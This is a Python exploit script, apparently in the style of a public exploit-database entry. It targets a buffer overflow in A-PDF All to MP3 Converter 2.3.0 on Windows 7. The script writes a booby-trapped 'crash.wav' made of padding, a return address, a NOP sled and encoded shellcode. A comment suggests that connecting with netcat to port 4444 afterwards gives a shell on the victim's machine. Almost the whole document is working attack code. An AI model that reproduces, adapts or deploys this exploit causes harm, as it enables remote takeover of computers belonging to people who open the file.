#!/usr/bin/python # Exploit Title: A-PDF All to MP3 Converter v.2.3.0 buffer overflow # Software Link: http://www.a-pdf.com/all-to-mp3/download.htm # Version: <= 2.3.0 # Tested on: Win7 German # Date: 12/11/2012 # Author: metacom #details: Open the app, drag the wav file, #nc ip 4444 filename = "crash.wav" junk = "\x41" * 4128 buff = "\x98\x6E\x43\x00" #00436E98 nops = "\x90" * 50 shell = ("\xba\x91\x02\x94\xec\xda\xc8\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1" "\x56\x83\xee\xfc\x31\x56\x0f\x03\x56\x9e\xe0\x61\x10\x48\x6d" "\x89\xe9\x88\x0e\x03\x0c\xb9\x1c\x77\x44\xeb\x90\xf3\x08\x07" "\x5a\x51\xb9\x9c\x2e\x7e\xce\x15\x84\x58\xe1\xa6\x28\x65\xad" "\x64\x2a\x19\xac\xb8\x8c\x20\x7f\xcd\xcd\x65\x62\x3d\x9f\x3e" "\xe8\xef\x30\x4a\xac\x33\x30\x9c\xba\x0b\x4a\x99\x7d\xff\xe0" "\xa0\xad\xaf\x7f\xea\x55\xc4\xd8\xcb\x64\x09\x3b\x37\x2e\x26" "\x88\xc3\xb1\xee\xc0\x2c\x80\xce\x8f\x12\x2c\xc3\xce\x53\x8b" "\x3b\xa5\xaf\xef\xc6\xbe\x6b\x8d\x1c\x4a\x6e\x35\xd7\xec\x4a" "\xc7\x34\x6a\x18\xcb\xf1\xf8\x46\xc8\x04\x2c\xfd\xf4\x8d\xd3" "\xd2\x7c\xd5\xf7\xf6\x25\x8e\x96\xaf\x83\x61\xa6\xb0\x6c\xde" "\x02\xba\x9f\x0b\x34\xe1\xf7\xf8\x0b\x1a\x08\x96\x1c\x69\x3a" "\x39\xb7\xe5\x76\xb2\x11\xf1\x79\xe9\xe6\x6d\x84\x11\x17\xa7" "\x43\x45\x47\xdf\x62\xe5\x0c\x1f\x8a\x30\x82\x4f\x24\xea\x63" "\x20\x84\x5a\x0c\x2a\x0b\x85\x2c\x55\xc1\xb0\x6a\x9b\x31\x91" "\x1c\xde\xc5\x04\x81\x57\x23\x4c\x29\x3e\xfb\xf8\x8b\x65\x34" "\x9f\xf4\x4f\x68\x08\x63\xc7\x66\x8e\x8c\xd8\xac\xbd\x21\x70" "\x27\x35\x2a\x45\x56\x4a\x67\xed\x11\x73\xe0\x67\x4c\x36\x90" "\x78\x45\xa0\x31\xea\x02\x30\x3f\x17\x9d\x67\x68\xe9\xd4\xed" "\x84\x50\x4f\x13\x55\x04\xa8\x97\x82\xf5\x37\x16\x46\x41\x1c" "\x08\x9e\x4a\x18\x7c\x4e\x1d\xf6\x2a\x28\xf7\xb8\x84\xe2\xa4" "\x12\x40\x72\x87\xa4\x16\x7b\xc2\x52\xf6\xca\xbb\x22\x09\xe2" "\x2b\xa3\x72\x1e\xcc\x4c\xa9\x9a\xfc\x06\xf3\x8b\x94\xce\x66" "\x8e\xf8\xf0\x5d\xcd\x04\x73\x57\xae\xf2\x6b\x12\xab\xbf\x2b" "\xcf\xc1\xd0\xd9\xef\x76\xd0\xcb") exploit = junk+buff+nops+shell textfile = open(filename,"w") textfile.write(exploit) textfile.close() print " [+] crash.wav File created successfully. :)"